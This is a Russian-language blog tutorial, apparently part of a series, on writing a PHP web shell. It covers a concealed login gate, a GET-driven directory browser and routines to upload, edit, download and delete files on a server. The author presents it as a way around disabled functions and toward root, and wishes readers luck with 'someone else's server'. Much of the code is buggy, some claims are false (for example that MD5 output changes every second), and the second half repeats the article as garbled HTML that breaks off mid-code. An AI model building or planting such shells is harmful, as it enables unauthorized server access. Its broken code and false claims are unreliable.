Shell/WEB-шелл. Познаём. Продолжение.

Пишем свой PHP-Shell.

Чтобы к нам на страничку не прошел враг — шифруемся, т.е. делаем «Aвторизацию по паролю»

Авторизация нужна для секретного запуска скрипта, и если пользователь не автозируется, то он будет видеть на странице — белый экран или можно будет съэмулировать страницу браузера — «Извините, данная страница не найдена на этом сервере — ошибка 404 :)». И так, сама форма для авторизации пользователя:

Авторизация пользователя к файлу проходит методом POST, т.е. передаваемую переменную логин и пароль не возможно было бы «перехватить» явным образом:

PHP файл author.php (Называем с расширением .php, но можно и .html или .htm ибо Preprocessor Hypertext Protocol и так его обработает как html, потому что в нём нет указателей признака php это теги <?php ?>. А как мы помним чистый php начинается именно с них и отрабатывается НА сервере ДО «выдачи» обработанной странички пользователю. Тут суть дела не меняет.)

<html>

<body bgcolor=#ffffff>

<FORM method=post action=login.php> <!— При проверке отсылаются данные на файл login.php —> login: <INPUT type=text name=login><br>password: <INPUT type=password name=pass><br> </FORM>

</body>

</html>

Если вы откроете справочник по html, то тип для тега input — type это тип поля может принимать параметр text — текстовое поле и password — чтобы символы были скрыты за * * * * * * *, а name это имя для переменной pass в которой будет передаваться пароль. Да! И следует помнить, что переменные передадутся только в пределах того сервера на котором лежит скрипт — это нам и нужно!

Далее делаем простой скрипт, обрабатывающий запрос POST (учтите, что по соображениям безопасности POST в настройках сервера будет отрабатывать только на том сервере где вы программите):

PHP файл login.php (тут проходит проверка на запуск shell.php):

<?php

$password = ‘jamesbonds’; // обозначаем переменную для пароля

$login = ‘myshell’; // обозначаем переменную для логина

$pass=$_POST[‘pass’]; // принимаем значение переменной передаваемое в POST и записываем его в $pass

$logn=$_POST[‘login’]; // принимаем значение переменной передаваемое в POST и записываем его в $logn

if (($logn==$login)||($pass==$password)) // проверяем, если пароль=jamesbonds и login=myshell

{ // тело if include (‘shell.php?start=12345’); // Инклудится сам шелл. Ещё знак после php «?» — обозначает признак передачи инфы в строке (т.е. это GET запрос). Иными словами мы передаём переменную start равную 12345 в файл shell.php. Это будет «ключ» к пройденной пользователем авторизации. Можете записать своё значение, котрое потом в файле shell.php нужно будет проверить. }

// else — тут писать нельзя, т.к. переменные глобальные и заданы явным образом, т.к. переменные в POST НЕ могут быть НЕ равные НИЧЕМУ — будет ошибка php T-string, по этому мы пишем ещё один if в котором, как раз и указываем: «если НЕ равны…»

// Вот он ниже

if (($logn!=$login)||($pass!=$password)) // проверяем, если пароль не jamesbonds и login не myshell

{ // тело ifа

header(‘location:http://fsb.ru’); // отправляем НЕудачливого чувака на сайт ФСБ 😉 }

?>

Иной способ проверки на авторизацию

Я бы не сказал, что серверная форма аутентификации от Apache — более надежный метод защиты информации, просто это так скажем улучшенный способ аутентификации пользователя. Одним словом, в данном случае просто больше заморочек. Эта эмулированная форма выглядит как .htaсcess блокирующая всю корневую папку с файлами, пока вам сервак не выдаст куки и запустит сессию. Ещё одним важным замечанием является не гарантированная работа данного файла на почти всех серваках (закрытая по системе безопасности провайдера). Иными словами родной текстовый файл .htaccess подложенный в папку будет отрабатывать — ваш нет! (Посмотрите информацию в php.ini о разрешениях и запретах )

Пишем скрипт эмулирующий работу .htaсcess на php

PHP файл index.php (Ибо должен запускаться от корня и блокировать содержимое директории. По-этому вам придётся создавать любую папку, что палево, в отличие от первого метода):

<?php

$login=’height’; // присваиваем переменную $login $password=’width’; //присваиваем переменную $password

if (!isset($_SERVER[‘PHP_AUTH_USER’]) || $_SERVER[‘PHP_AUTH_USER’]!=$login || $_SERVER[‘PHP_AUTH_PW’]!=$password) // Сравниваем значения переменных передаваемые от сервера: login и password — Если они НЕ СООТВЕТСТВУЮТ верным значениям!

{ // Тело if на НЕпрошедшие сравнения типов — выбирайте на ваш взгляд «послание об ошибке аутентификации юзера»

// или пишем

header(‘WWW-Authenticate: Basic realm=’Введите пароль»); // Что «говорит» сервер

// или такой header(‘HTTP/1.0 401 Unauthorized’); // Передаём серверу через заголовок ошибку 401

// или 🙂 так exit(‘Иди ты в жопу хацкер!’); // Ещё на выведенную страницу дописываем — ошибка мол — идите в жопу

// или отправляем на ЮХ! header(‘location:http://sex.ru’); // Отправляем на сайт секс.ру редиректом через заголовок сервака

}

// else — тут писать нельзя, т.к. переменные глобальные и заданы явным образом, т.к. переменные в SERVER НЕ могут быть НЕ равные НИЧЕМУ — будет ошибка php T-string, по этому мы пишем ещё один if в котором, как раз и указываем: «если РАВНЫ.»

if (isset($_SERVER[‘PHP_AUTH_USER’]) || $_SERVER[‘PHP_AUTH_USER’]==$login || $_SERVER[‘PHP_AUTH_PW’]==$password) // Аналогично предыдущему, сравниваем переменные передаваемые от сервера: login и password — Если они СООТВЕТСТВУЮТ верным значениям!

{ // Тело if для загрузки самого шела

include (‘shell.php?start=12345’); // Инклудится сам шелл. Знак после php «?» — обозначает признак передачи инфы в строке (т.е. это GET запрос). Иными словами мы передаём переменную start равную 12345 в файл shell.php. Это будет «ключ» к пройденной пользователем авторизации. Можете записать своё значение, которое потом в файле shell.php нужно будет проверить.

}


// Конечно, в файле shell.php (для его запуска) мы пишем:

// if (isset($_GET[‘start’]) || $_GET[‘start’]==’12345′) // Проверяем действительность «ключа»

/* Ещё рекомендую зажать его qzipом — обычно он по-умолчанию включён на серверах

Это нужно для того, что бы юзер не видел содержимое файла, а передав в него контрольную сумму типа start=12345 вы дадите команду. Gzip — раззиповываеться мгновенно НА стороне сервера (без вашего ведома) и выдаствам, ну скажем ваш рабочий скрипт shell.php

{



// Тут тело самой программы с командами (см.ниже)


}

*/

?>

Есчё:  Используя любой из способов, чтобы при каждом запросе не авторизовываться, данные лучше не прописывать в cookies — из-за возможной ошибки, а держать в глобальной переменной $_SESSION где в любой момент вы можете их вызвать… Собственно что и делаеться так: $IS_SESSION[‘userauth’]…

Ещё можно сделать аутентификацию через куки и сессию пользователя, добавив (заменив) аналогичным образом коды программы выше:

PHP код для установки кукиса или сессии:

<?php

// PHP код «Устанавливаем coookies»:

setcookie(‘pass’, $pass, time()+10000); // ‘pass’- имя файла кукиз сохраняемое на комп юзера, $pass — значение переменной, time()+10000 — время жизни временного файла сookies.txt в микросекундах unix’a. Сама time() — текущее время. Берётся не с вашего компьютера а с исследуемого сервера. Однако не на всех типах браузеров куки бывают включены. Из-за этого php вам выдаст ошибку следующего содержания: Мол не могу записать кукиз на комп юзера — хоть ты тресни! Из-за этого вам придётся делать проверку на TRUE/FASLE значения и делать предупреждалову, мол: Дорогой дружок! У тебя на браузере были выключены куки, включи! а? Не опытному программеру обычно грозить ошибкой php — не понятно из-за чего 🙂

// PHP код «Сессии»:

if ($_SESSION[‘passsword’]==’$pass’) { // На сервере заводиться глобальная переменная session. Это строчный массив данных, в котором ключ массива — это наименование переменной. В нашем случае это $pass, а [‘password…’] её передаваемое значение. Надо отметить, что это самый лучший способ аутентификации пользователя общепризнан во всём мире. Хотя, и его тоже можно обмануть. В Сессии, также как и в GET, POST можно передавать дофига и больше переменных! (Рекомендую почитать в справочнике: в начале обозначаем: SESSION_START(); и в конце тела кода: SESSION_DESTROY(); )

}

?>

<?php // Вот ещё один наглядный пример запуска старта сессии пользователя


// Инициируем сессию

session_start();

// Помещаем значение в сессию

$_SESSION['name'] = "value";

// Помещаем массив в сессию

$arr = array("login", "password", "username");

$_SESSION['arr'] = $arr;

// Выводим ссылку на другую страницу (А сессия уже запущена! На другой странице мы сможем легко получить данные о юзере)

echo "<a href='other.php'>другая страница</a>";


 

?>

При авторизации (аутентификации) вам рекомендую усовершенствовать проверку пароля, например кодированием в MD5()! Что это даёт. MD5 — делает отпечаток зашиврованного ключа. В каждую секунду — разный.

Например:

<?php

$pass = ‘moikosoiparol’; // Присавиваем пароль к переменной

$vasya = md5 ($pass); // Шифруем в ЭмДэ пять

echo ($vasya); // Вы увидите отпечаток типа: $Jk78H5tGh6Hf$klLjhLKHУЁМ$ОЁ

?>

Пример аутентификации через MD5 на php

Для чего это нужно? Что бы наивернейшим способом сравнивать пароли и сделать защиту от иных скрытых символах, таких как: <>’—`»OR’ ‘AND’+../../

PHP файл test_md5.php, в который мы передаём test_md5.php?b=пароль через GET-запрос

<?php

$a = ‘пароль’; // Хранимый пароль в файле php

$b =’ ‘; // Полученный, или через POST, GET, SESSION, cookies

if (isset($_GET[‘b’]) || ($_GET[‘b’]!=’ ‘)) // Если установлена переменная b и она НЕпустая, то:

{

$b = $_GET[‘b’]; // Получаем из GET-запроса b

$b=md5($b); // Получаем слепок MD5 от b

echo (‘md5 b это’.$b); // Выводим md5 — b

echo (‘<br>’); // Переносим каретку на сл.строчку

$a=md5($a); // Получаем слепок MD5 от a

echo (‘md5 a это’.$a); // Выводим md5 — a

echo (‘<br>’); // Переносим каретку на сл.строчку

if ($a===$b) { echo (‘Заебись, пароли верные, цуко!’); } // Сравниваем типы отпечатков md5 a==b if ($a!==$b) { echo (‘Уроды, гавно а не пароль, не тот!’); } // Сравниваем типы отпечатков md5 a!=b

}

// Писать значение переменной или значение передаваемое в функцию нужно всегда в кавычках. В одинарных или в двойных — это ваше право, кому как удобнее. Я изменил кавычки на одинарные, помочу что наш движок WordPress меняет их на автоматически на «» ! Я могу отключить эту функцию, но, а она ещё пригодится в других статьях. По этому оставлю как есть для наглядности.

/* И вот у нас уже получается самый настоящий Шелл, но это только половина работы */

?>

Подводим итоги аутентификации пользователя. Вот простой скрипт, конечно, который требует доработки но, тем не менее позволит вам понять принцип работы GET запроса:

<?php

echo (‘Скрипт запущен и работает! Допишите в строке <b>?d=fuck</b><br>’);

if ($_GET[‘d’]==’fuck’) { echo (‘<H1><font color=Green>Пароль FUCK — верный!</font></H1>(Вот пример авторизации с паролем (переменной) отосланым через GET запрос)<script>alert(\’Молодец! Верный пароль!\’);</script>’); }

if ($_GET[‘d’]!=’fuck’) { echo (‘<H1><font color=Red>Чувак, у тя не верный пароль — иди в жопу!</font></H1><script>alert(\’Введи верный пароль засранец!\’);</script>’); }

?>

Посмотрите пример работы скрипта аутентификации пользователя через GET запрос. Ну вроде как передавать и принимать переменные в или из файла мы разобрались! Также, аналогичным образом через GET передаются команды (см.предыдущую статью). И их активация происходит методом фильтрации переменных через if()! Иными словами мы проверяем, что передал пользователь через строку и в зависимости от условий выполняем ту или иную функцию написанную на php. Всё очень просто! Идём дальше.

Менеджер файлов на php

Ясно для чего нужен файловый менеджер — для передачи и записи файлов на сервер и обратно. Конечно с использованием дополнительных известных функций, таких как: cmod, права доступа, привелегии, владелец, группа и т.п. Нужно показать путь к корневой или любой другой папке передавая его через наш с вами GET запрос. В приведённом ниже примере мы лишь строим «дерево» папок и файлов, а другие действия мы будем совершать потом, с помощью дополнительных запросов GET. PHP код файловый менеджер:

<?php

echo (‘Укажите в строке <b>?path=…</b> из строчки ниже<br>’);

$globalpath = $_SERVER[‘DOCUMENT_ROOT’]; // Отображаю полный путь сервера от начала vars! echo (‘<b>Корень пути сервера: <font color=Blue>’.$globalpath.'</font></b><br>’); // Вывожу путь, т.к. он будет нужен вам как шпаргалка что бы ориентироваться на серваке!

if (isset($_GET[‘path’]))

{

$path = $_GET[‘path’]; // Получаем из GET запроса данные корневой папки $dirs=array(); // Создаём пустой строчный массив для папок

$files=array(); // Создаём пустой строчный массив для файлов

$listing = @opendir($path); // Читаем начало пути

echo ‘<font color=Green><b>Вы указали: ‘.$path.'</b></font><br>’; // Выводим абсолютный путь

while (!(($file = readdir($listing)) === false))

{ // запускаем цик while который остановиться, когда ничего не прочитает и в него попадёт false if ($file==’.’ || $file==’..’) continue; // отображаем корневые и не корневые

if (@is_dir($listing/$file))

{ // Поверяем — ЕСЛИ СУЩЕСТВУЕТ папка/файл

$dirs[]=$file; // Дописываем в масив папок, по ключу +1 +2 +3…

}

else { $files[]=$file; // Дописываем в масив «файлов», по ключу +1 +2 +3… }

sort($dirs); // Сортируем массив «папок»

sort($files); // Сортируем массив «файлов»

}

for($ddd=0; $ddd<count($dirs); $ddd++)

{ // Цикл подсчёта вывода папок, когда счётчик count перестанет считать +1 +2 +3…

echo ‘<b>’.$dirs[$ddd].'</b><br>’; //и выводим дерево папок

}

for($fff=0; $fff<count($files); $fff++)

{ // Цикл подсчёта вывода фалов закончится, когда счётчик count перестанет считать +1 +2 +3…

echo $files[$fff].'<br>’; // и выводим дерево файлов

}

}

// В этом файле мы постоили дерево файлов и папок через GET запрос! ?>

Слава богу разобрались и с этим говном и выводом файлов. Скачать себе пример рабочего (пока)  просмотровщика ваших файлов на сервере мы можете тут нажав на ссылку. Теперь, нам с вами пора переходить к командам, таким образом что бы можно было управлять выведенными файлами. И снова нам пригодится GET-запрос. Через него мы будем передавать команды: переименовать, удалить, создать, скопировать, переместить, аплоад, даунлоад. А также, попробуем реализовать такие известные функции как: владелец, права. Что ещё характерно, что создавая новый файл нашим PHP-Shell владельцем данного файла сразу станет или root или well — что несомненно нам поможет, для того, что бы мы смогли получить доступ к самую корневую дирректорию тестируемого сервера. Кстати, вам ещё не пришло в голову, что используя наш Шелл мы скопируем файлы этого же Шелла самим Шеллом и положем его как можно глубже, таким образом мы получим права root и файловый менеджер с этими правами — ибо он сделан самим скриптом сервера.

Команды для работы с файлами нашего Шелла:

Как переименовать файл на php:
<?php
rename($cur_filename, $new_filename);
// $cur_filename — Текущее имя файла (помните, что нужен полный путь и само имя)
// $new_filename — Новой имя вашего файла (Включая полный путь и само имя файла)
?>

Как создать файл на php:
<?php
$fp=fopen($new_filename, «w»);  // $new_filename — имя файла (помните, что нужен полный путь и само имя)
fwrite($fp,»»); // Пишем файл
fclose($fp); // Отключаем запись
?>

Как создать папку или дирректорию на php:
<?php
mkdir($new_dirname, 777); //$new_dirname — Создание папки (помните, что нужен полный путь и само имя) и конечно права 777 на данный файл
?>

Как скопировать (переместить) файл на php:
<?php
copy($cur_filename, $new_filename); //$cur_filename — откуда копировать (полный путь и имя файла), $new_filename — в какое место копировать (полный путь и имя файла)
?>

Как удалить файл на php:
<?php
unlink($cur_filename); //$cur_filename — имя файла который нужно удалить (полный путь и имя файла)
?>

Как скачать к себе файл на php:
<?php
header(«Content-disposition: attachment; filename=\»$cur_filename\»;»); // Отсылает браузеру команду на upload (возможно будет работать не на всех типах браузеров)
readfile(«$cur_filename»); // $cur_filename — имя скачиваемого файла (включая как всегда полный путь)
?>

Как редактировать файл на php (но для начала его необходимо загрузить в форму, а ещё могут возникнуть проблеммы с кодировками, т.к. на сервере кодировка предопределена utf-8 или koi8-r): Есть прекрасный выход от кодировки — вы должны прогнать переменную $text — через функцию iconv. Т.е. будет: <?php $text = iconv(WIN, UTF-8, $text); ?>
<?php

$fp=fopen(«$cur_filename», «r»); // $cur_filename — имя файла (+полный путь), r-чтение, rb-чтение по-блочно w-запись, wb-запись (допись) поблочно и т.д.
$text=fread($cur_filename, filesize(«$cur_filename»)); //Читаем содержимое всего файла в переменную $text.
$text=htmlspecialchars($text); // Удаляем спецзнаки <>'» из тела файла, можно закоментарить, т.к. вдруг вам понадобиться редактировать html-файл? И что тогда. Тогда коментируем строчку //
fclose($fp);  // Закрываем функцию чтения
?>

Прочитали и записали файл в строку в переменную $text.
Идём дальше, выводим файл в html-форму (при помощи чистого html-тега TEXTAREA):

<html>
<body>
<FORM>
<textarea rows=200 cols=100 name=value_filename><!— rows x cols — колонки и строки  -указывают размеры поля —>
<?php

echo($text); // Врезка php. Мы заполняем область формы для редактирования самим файлом

?>
</textarea>
</FORM>
</body>
</html>

Если нам нужно сохранить текст из поля (а мы же помним что он записан в переменную $text) то нам потребуется следующий скрипт для записи файла обратно:
<?php
$fp=fopen($cur_filename, «w»); // $cur_filename — имя файла (и полный путь), w — это write
fwrite($fp,»$text»); // Пишем сам файл взятый из переменной $text (куда его сохранили)
fclose($fp); // Закрываем функцию записи
?>

Как закачать файл на сервер на php:
<php
$where=$_POST[‘where’]; // Переданный путь для зачакчи файла (через POST)
$upload=$_POST[‘upload’]; // Допустим, мы передаём его через POST — ограничен лишь upload_maxsize 8МБ в php.ini (можно и GET, но он ограничен длиной строки 1024 символа, включая адрес www)
$where=str_replace(«//»,»/»,$where); // Заменяем «двойные» на «одинарные» (во избежание ошибки)
$upload=$_FILES[‘text’][‘name’]; // Делаем массив, где text — тело файла, name — имя с расширением
$uploadfile = «$where/».$upload; // Склеиваем полный путь (после очистки мусора )
$tmp_name = «_tmp»; // Маркер для временнго файла
if (@move_uploaded_file(@$_FILES[‘text’][‘tmp_name’], $uploadfile)) // Если файл существует, то мы переписываем его и мя — вырезая из него «двойные слеши» и добавили ему маркер с окончанием _tmp
{
$uploadfile=str_replace(«//»,»/»,$uploadfile);
}
?>

В принципе наш Веб-Шелл почти готов. Я хочу вас предупредить сразу, что функции типа: disable_functions dl, shell_exec, exec, system, passthru, popen, proc_open, proc_nice, proc_get_status, proc_close, proc_terminate, posix_mkfifo, set_time_limit, chown, chgrp, disk_total_space, disk_free_space dl, shell_exec, exec, system… не бутут работать на 99% серверов провайдера, т.к. они отключены по соображениям безопасности. Мы же с вами написали PHP-Shell лишь для той цели, что бы «обойти» выключенные функции. Их вам некто не включет. Они включаються в настройках сервера в файле php.ini По-умолчанию, при установке сборки php+apache+freebsd они выключены! Например, имея в своём дивизионе включённую функцию system — вы можете одной строчкой в php вызвать оболочку и запустить скрипт <?php system(«ls»); ?> — выводит листинг файлов текущей папки. А теперь представьте чела, который подломит ваш сервак, и будет через вас запускать у вас system и юзать другие ресурсы без вашего ведома с полными правами сервера! И так, прочитав наш рассказ, мы натолкнули вас на мысль — сделать Шелл самому. Разобрав всё выше изложенные команды php мы выложили для  вас готовый файл — где можно скачать shell для php! Удачи в экспериментах с вашим или чужим сервером. 😉

Продолжение следует…

<p style=»text-align: left;»><strong>Пишем свой PHP-Shell.</strong></p> <p style=»text-align: left;»>Чтобы к нам на страничку не прошел враг — шифруемся, т.е. делаем «Aвторизацию по паролю»</p> <p style=»text-align: left;»>Авторизация нужна для секретного запуска скрипта,  и если пользователь не автозируется, то он будет видеть на странице — белый экран или можно будет съэмулировать страницу браузера — «Извините, данная страница не найдена на этом сервере — ошибка 404 :)». И так, сама форма для авторизации пользователя:</p> <h6 style=»text-align: left;»>Авторизация пользователя к файлу проходит методом POST, т.е. передаваемую переменную логин и пароль не возможно было бы «перехватить» явным образом:</h6> <p style=»text-align: left;»>PHP файл <strong>author.php </strong>(Называем с расширением .php, но можно и .html или .htm ибо Preprocessor Hypertext Protocol и так его обработает как html, потому что в нём нет указателей признака php это теги &lt;?php ?&gt;. А как мы помним чистый php начинается именно с них и отрабатывается НА сервере ДО «выдачи» обработанной странички пользователю. Тут суть дела не меняет.)<strong> </strong></p> <p style=»text-align: left;»></p> <blockquote> <p style=»text-align: left;»><span style=»color: #ff6600;»>&lt;html&gt;</span></p> <p style=»text-align: left;»><span style=»color: #ff6600;»>&lt;body bgcolor=#ffffff&gt;</span></p> <p style=»text-align: left;»><span style=»color: #ff6600;»>&lt;FORM method=post action=login.php&gt; &lt;!— При проверке отсылаются данные на файл login.php —&gt; login: &lt;INPUT type=text name=login&gt;&lt;br&gt;password: &lt;INPUT type=password name=pass&gt;&lt;br&gt; &lt;/FORM&gt;</span></p> <p style=»text-align: left;»><span style=»color: #ff6600;»>&lt;/body&gt;</span></p> <p style=»text-align: left;»><span style=»color: #ff6600;»>&lt;/html&gt;</span></p> </blockquote> <p style=»text-align: left;»>Если вы откроете справочник по html, то тип для тега input — type это тип поля  может принимать параметр text — текстовое поле и password — чтобы символы были скрыты за * * * * * * *, а name это имя для переменной pass в которой будет передаваться пароль. Да! И следует помнить, что переменные передадутся только в пределах того сервера на котором лежит скрипт — это нам и нужно!</p> <h6 style=»text-align: left;»>Далее делаем простой скрипт, обрабатывающий запрос POST (учтите, что по соображениям безопасности POST в настройках сервера будет отрабатывать только на том сервере где вы программите):</h6> <p style=»text-align: left;»>PHP файл <strong>login.php</strong> (тут проходит проверка на запуск shell.php):</p> <blockquote> <p style=»text-align: left;»><span style=»color: #008000;»>&lt;?php</span></p> <p style=»text-align: left;»><span style=»color: #008000;»>$password = ‘jamesbonds’; // обозначаем переменную для пароля</span></p> <p style=»text-align: left;»><span style=»color: #008000;»>$login = ‘myshell’; // обозначаем переменную для логина</span></p> <p style=»text-align: left;»><span style=»color: #008000;»>$pass=$_POST[‘pass’]; // принимаем значение переменной передаваемое в POST и записываем его в $pass</span></p> <p style=»text-align: left;»><span style=»color: #008000;»>$logn=$_POST[‘login’]; // принимаем значение переменной передаваемое в POST и записываем его в $logn</span></p> <p style=»text-align: left;»><span style=»color: #008000;»>if (($logn==$login)||($pass==$password)) // проверяем, если пароль=jamesbonds и login=myshell</span></p> <p style=»text-align: left;»><span style=»color: #008000;»>{ // тело if include (‘shell.php?start=12345’);  // Инклудится сам шелл. Ещё знак после php «?» — обозначает признак передачи инфы в строке (т.е. это GET запрос). Иными словами мы передаём переменную start равную 12345 в файл shell.php. Это будет «ключ» к пройденной пользователем авторизации. Можете записать своё значение, котрое потом в файле shell.php нужно будет проверить. }</span></p> <p style=»text-align: left;»><span style=»color: #008000;»>// else — тут писать нельзя, т.к. переменные глобальные и заданы явным образом, т.к. переменные в POST НЕ могут быть НЕ равные НИЧЕМУ — будет ошибка php T-string, по этому мы пишем ещё один if в котором, как раз и указываем: «если НЕ равны…»</span></p> <p style=»text-align: left;»><span style=»color: #008000;»>// Вот он ниже</span></p> <p style=»text-align: left;»><span style=»color: #008000;»>if (($logn!=$login)||($pass!=$password)) // проверяем, если пароль не jamesbonds и login не myshell</span></p> <p style=»text-align: left;»><span style=»color: #008000;»>{ // тело if header(‘location:http://fsb.ru’);  // отправляем НЕудачливого чувака на сайт ФСБ 😉 }</span></p> <p style=»text-align: left;»><span style=»color: #008000;»>?&gt;</span></p> </blockquote> <p style=»text-align: left;»></p> <h6 style=»text-align: left;»>Иной способ проверки на авторизацию</h6> <p style=»text-align: left;»>Я бы не сказал, что серверная форма аутентификации от Apache — более надежный метод защиты информации, просто это так скажем улучшенный способ аутентификации пользователя. Одним словом, в данном случае просто больше заморочек. Эта эмулированная форма выглядит как .htaсcess блокирующая всю корневую папку с файлами, пока вам сервак не выдаст куки и запустит сессию. Ещё одним важным замечанием является не гарантированная работа данного файла на почти всех серваках (закрытая по системе безопасности провайдера). Иными словами родной текстовый файл .htaccess подложенный в папку будет отрабатывать — ваш нет! (Посмотрите информацию в php.ini о разрешениях и запретах )</p> <p style=»text-align: left;»><strong>Пишем скрипт эмулирующий работу .htaсcess на php</strong></p> <p style=»text-align: left;»>PHP файл <strong>index.php</strong> (Ибо должен запускаться от корня и блокировать содержимое директории. По-этому вам придётся создавать любую папку, что палево, в отличие от первого метода):</p> <p style=»text-align: left;»></p> <blockquote> <p style=»text-align: left;»><span style=»color: #993300;»>&lt;?php</span></p> <p style=»text-align: left;»><span style=»color: #993300;»>$login=’height’;  // присваиваем переменную $login $password=’width’;  //присваиваем переменную $password</span></p> <p style=»text-align: left;»><span style=»color: #993300;»>if  (!isset($_SERVER[‘PHP_AUTH_USER’]) || $_SERVER[‘PHP_AUTH_USER’]!=$login || $_SERVER[‘PHP_AUTH_PW’]!=$password)  // Сравниваем значения переменных передаваемые от сервера: login и password — Если они НЕ СООТВЕТСТВУЮТ верным значениям!</span></p> <p style=»text-align: left;»><span style=»color: #993300;»>{ // Тело if на НЕпрошедшие сравнения типов — выбирайте на ваш взгляд «послание об ошибке аутентификации юзера»</span></p> <p style=»text-align: left;»><span style=»color: #993300;»>// или пишем</span></p> <p style=»text-align: left;»><span style=»color: #993300;»>header(‘WWW-Authenticate: Basic realm=’Введите пароль»); // Что «говорит» сервер</span></p> <p style=»text-align: left;»><span style=»color: #993300;»>// или такой header(‘HTTP/1.0 401 Unauthorized’); // Передаём серверу через заголовок ошибку 401</span></p> <p style=»text-align: left;»><span style=»color: #993300;»>// или 🙂 так exit(‘Иди ты в жопу хацкер!’); // Ещё на выведенную страницу дописываем — ошибка мол — идите в жопу</span></p> <p style=»text-align: left;»><span style=»color: #993300;»>// или отправляем на ЮХ! header(‘location:http://sex.ru’); // Отправляем на сайт секс.ру редиректом через заголовок сервака</span></p> <p style=»text-align: left;»><span style=»color: #993300;»>}</span></p> <p style=»text-align: left;»><span style=»color: #993300;»> </span></p> <p style=»text-align: left;»><span style=»color: #993300;»>// else — тут писать нельзя, т.к. переменные глобальные и заданы явным образом, т.к. переменные в SERVER НЕ могут быть НЕ равные НИЧЕМУ — будет ошибка php T-string, по этому мы пишем ещё один if в котором, как раз и указываем: «если РАВНЫ.»</span></p> <p style=»text-align: left;»><span style=»color: #993300;»> </span></p> <p style=»text-align: left;»><span style=»color: #993300;»>if (isset($_SERVER[‘PHP_AUTH_USER’]) || $_SERVER[‘PHP_AUTH_USER’]==$login || $_SERVER[‘PHP_AUTH_PW’]==$password)  // Аналогично предыдущему, сравниваем переменные передаваемые от сервера: login и password — Если они СООТВЕТСТВУЮТ верным значениям!</span></p> <p style=»text-align: left;»><span style=»color: #993300;»>{ // Тело if для загрузки самого шела</span></p> <p style=»text-align: left;»><span style=»color: #993300;»>include (‘shell.php?start=12345’);  // Инклудится сам шелл. Знак после php «?» — обозначает признак передачи инфы в строке (т.е. это GET запрос). Иными словами мы передаём переменную start равную 12345 в файл shell.php. Это будет «ключ» к пройденной пользователем авторизации. Можете записать своё значение, которое потом в файле shell.php нужно будет проверить. </span></p> <p style=»text-align: left;»><span style=»color: #993300;»>} </span></p> <p style=»text-align: left;»><span style=»color: #993300;»>?&gt;</span></p> <span style=»color: #000000;»>P.S. Используя любой из способов, чтобы при каждом запросе не авторизовываться, данные лучше не прописать в cookies из-за возможной ошибки, а держать в глобальной переменной $_SESSION где в любой момент вы можете их вызвать…</span> <p style=»text-align: left;»><span style=»color: #993300;»> </span></p> </blockquote> <p style=»text-align: left;»></p> <h6><strong>Ещё можно сделать аутентификацию через куки и сессию пользователя, добавив (заменив) аналогичным образом коды программы выше:</strong></h6> <p style=»text-align: left;»><strong>PHP код для установки кукиса или сессии:</strong></p> <p style=»text-align: left;»></p> <blockquote> <p style=»text-align: left;»><span style=»color: #008000;»>&lt;?php</span></p> <p style=»text-align: left;»><span style=»color: #008000;»>// PHP код <strong>»Устанавливаем coookies»:</strong></span></p> <p style=»text-align: left;»><span style=»color: #008000;»>setcookie(‘pass’, $pass, time()+10000); // ‘pass’- имя файла кукиз сохраняемое на комп юзера, $pass — значение переменной, time()+10000 — время жизни временного файла сookies.txt в микросекундах unix’a. Сама time() — текущее время. Берётся не с вашего компьютера а с исследуемого сервера. Однако не на всех типах браузеров куки бывают включены. Из-за этого php вам выдаст ошибку следующего содержания: Мол не могу записать кукиз на комп юзера — хоть ты тресни!  Из-за этого вам придётся делать проверку на TRUE/FASLE значения и делать предупреждалову, мол: Дорогой дружок! У тебя на браузере были выключены куки, включи! а? Не опытному программеру обычно грозить ошибкой php — не понятно из-за чего :)</span></p> <p style=»text-align: left;»><span style=»color: #008000;»>// PHP код <strong>»Сессии»</strong>:</span></p> <p style=»text-align: left;»><span style=»color: #008000;»>if ($_SESSION[‘passsword’]==’$pass’) { // На сервере заводиться глобальная переменная session. Это строчный массив данных, в котором ключ массива — это наименование переменной. В нашем случае это $pass, а [‘password…’] её передаваемое значение. Надо отметить, что это самый лучший способ аутентификации пользователя общепризнан во всём мире. Хотя, и его тоже можно обмануть. В Сессии, также как и в GET, POST можно передавать дофига и больше переменных! (Рекомендую почитать в справочнике: в начале обозначаем: SESSION_START(); и в конце тела кода: SESSION_DESTROY(); )</span></p> <p style=»text-align: left;»><span style=»color: #008000;»>}</span></p> <p style=»text-align: left;»><span style=»color: #008000;»>?&gt;</span></p> </blockquote> <p style=»text-align: left;»></p> <p style=»text-align: left;»>При авторизации (аутентификации) вам рекомендую усовершенствовать проверку пароля, например кодированием в MD5()! Что это даёт. MD5 — делает отпечаток зашиврованного ключа. В каждую секунду — разный.</p> <p style=»text-align: left;»>Например:</p> <blockquote> <p style=»text-align: left;»><span style=»color: #008000;»>&lt;?php</span></p> <p style=»text-align: left;»><span style=»color: #008000;»>$pass = ‘moikosoiparol’;</span></p> <p style=»text-align: left;»><span style=»color: #008000;»>$vasya = md5 (</span><span style=»color: #008000;»>$pass</span><span style=»color: #008000;»>);</span></p> <p style=»text-align: left;»><span style=»color: #008000;»>echo ($vasya); // Вы увидите отпечаток типа: $Jk78H5tGh6Hf$klLjhLKHУЁМ$ОЁ</span></p> <p style=»text-align: left;»><span style=»color: #008000;»>?&gt; </span></p> </blockquote> <h6 style=»text-align: left;»>Пример аутентификации через MD5 на php</h6> Для чего это нужно? Что бы наивернейшим способом сравнивать пароли и сделать защиту от иных скрытых символах, таких как: &lt;&gt;’—`»OR’ ‘AND’+../../ <blockquote>PHP файл <strong>test_md5.php</strong>, в который мы передаём <strong>test_md5.php?b=пароль через GET-запрос </strong> <span style=»color: #993300;»>&lt;?php</span> <span style=»color: #993300;»>$a = ‘пароль’; // Хранимый пароль в файле php</span> <span style=»color: #993300;»>$b =’ ‘; // Полученный, или через POST, GET, SESSION, cookies</span> <span style=»color: #993300;»>if (isset($_GET[‘b’]) || ($_GET[‘b’]!=’ ‘)) // Если установлена переменная b и она НЕпустая, то:</span> <span style=»color: #993300;»>{</span> <span style=»color: #993300;»>$b = $_GET[‘b’]; // Получаем из GET-запроса b</span> <span style=»color: #993300;»>$b=md5($b); // Получаем слепок MD5 от b</span> <span style=»color: #993300;»>echo (‘md5 b это’.$b); // Выводим md5 — b</span> <span style=»color: #993300;»>echo (‘&lt;br&gt;’); // Переносим каретку на сл.строчку</span> <span style=»color: #993300;»>$a=md5($a); // Получаем слепок MD5 от a</span> <span style=»color: #993300;»>echo (‘md5 a это’.$a); // Выводим md5 — a echo (‘&lt;br&gt;’); // Переносим каретку на сл.строчку</span> <span style=»color: #993300;»>if 